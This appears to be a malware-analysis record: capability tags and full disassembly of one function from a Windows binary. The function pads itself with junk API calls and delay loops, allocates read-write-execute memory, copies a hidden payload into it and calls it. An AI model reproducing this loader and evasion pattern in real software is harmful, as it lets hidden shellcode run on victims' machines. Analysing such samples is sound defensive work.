Function at 0x404f80
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get disk size
Get file attributes
Get hostname
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x420
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_SetLastError]
xor ebx, ebx
xor esi, esi
push ebx
call edi
cmp esi, 0xb7e4ee2
jg 0x404faa
inc esi
cmp esi, 0x73f04bd
jl 0x404f96
cmp dword [0x497c14], 0x400
jne 0x405025
push ebx
lea eax, [ebp - 0x420]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointA]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_EnumTimeFormatsA]
push ebx
push ebx
call fcn.004058ed
push 0x404914
push 0x404918
push ebx
call fcn.00405cf3
add esp, 0x14
push ebx
call fcn.00405bb2
add esp, 4
push ebx
call fcn.00406131
push ecx
mov eax, esp
mov dword [eax], ebx
mov dword [eax + 4], ebx
call fcn.004056a0
fstp st(0)
mov eax, esp
mov dword [eax], ebx
mov dword [eax + 4], ebx
call fcn.004057d0
fstp st(0)
mov eax, esp
mov dword [eax], ebx
mov dword [eax + 4], ebx
call fcn.00405fa0
fstp st(0)
add esp, 8
cmp dword [0x497c14], 0x93
jne 0x405081
xor ecx, ecx
lock bts dword [ecx], 0
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetDllDirectoryW]
push 0x404928
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_OpenJobObjectA]
push ebx
push ebx
lea eax, [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
push ebx
push ebx
call fcn.00405d46
push ebx
call fcn.00405c0e
add esp, 0xc
push ebx
call fcn.00405c24
add esp, 4
call fcn.00404f70
push ebx
push ebx
call fcn.00405f79
add esp, 8
mov eax, dword [0x497c14]
mov ecx, dword [0x492d94]
push 0x40
add eax, 0x1134b
push 0x1000
push eax
push ebx
mov dword [0x498a50], ecx
mov dword [0x497c14], eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [0x4976a4], eax
mov esi, 0x1692e
call dword [sym.imp.KERNEL32.dll_GetLastError]
sub esi, 1
jne 0x4050b5
xor eax, eax
mov dword [ebp - 4], eax
cmp dword [0x497c14], ebx
jbe 0x40515f
mov esi, dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
mov edi, dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov ebx, dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
mov edx, dword [0x498a50]
mov cl, byte [edx + eax + 0x1134b]
mov edx, dword [0x4976a4]
mov byte [edx + eax], cl
cmp dword [0x497c14], 0x490
jne 0x405151
push 0
lea eax, [ebp - 0xc]
push eax
call esi
push 0
push 0
call edi
push 0
push 0
push 0
push 0
call ebx
call dword [sym.imp.KERNEL32.dll_GetSystemDefaultLCID]
push 0
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLCID]
push 0x404930
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea ecx, [ebp - 8]
push ecx
push 0
lea edx, [ebp - 0x20]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleInputW]
mov eax, dword [ebp - 4]
inc eax
mov dword [ebp - 4], eax
cmp eax, dword [0x497c14]
jb 0x4050e3
xor ebx, ebx
mov edi, dword [sym.imp.KERNEL32.dll_LCMapStringA]
mov ebx, dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
xor esi, esi
mov eax, dword [0x497c14]
add eax, esi
cmp eax, 0x8d
jne 0x4051a3
push 0
lea ecx, [ebp - 0x420]
push ecx
push 0
push 0
push 0
push 0
call edi
lea edx, [ebp - 8]
push edx
call ebx
push 0x4049c0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenEventW]
inc esi
cmp esi, 0x38681
jl 0x40516d
call fcn.00404e70
mov ebx, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor edi, edi
xor esi, esi
jmp 0x4051c0
cmp esi, 0xfa62c8f
jge 0x4051ca
call ebx
cmp esi, 0x207142
jg 0x4051db
inc esi
cmp esi, 0x67d12
jl 0x4051c0
xor esi, esi
lea ecx, [ecx]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp esi, 0x61
jne 0x4051fe
mov dword [ebp - 4], edi
add dword [ebp - 4], 0
mov eax, dword [ebp - 4]
add dword [0x4976a4], eax
inc esi
cmp esi, 0x674bd
jl 0x4051e0
mov esi, dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov edi, dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
mov ebx, dword [sym.imp.KERNEL32.dll_SetComputerNameExW]
mov dword [ebp - 4], 0x7b
cmp dword [0x497c14], 0x86
jne 0x40525b
push 0x4049f8
call esi
push 0
lea ecx, [ebp - 0x420]
push ecx
push 0
call edi
push 0x404af8
push 0
call ebx
push 0
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
cmp dword [0x497c14], 0xf
jne 0x40526e
lea edx, [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
sub dword [ebp - 4], 1
jne 0x405220
push 0x404b90
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
call dword [0x4976a4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret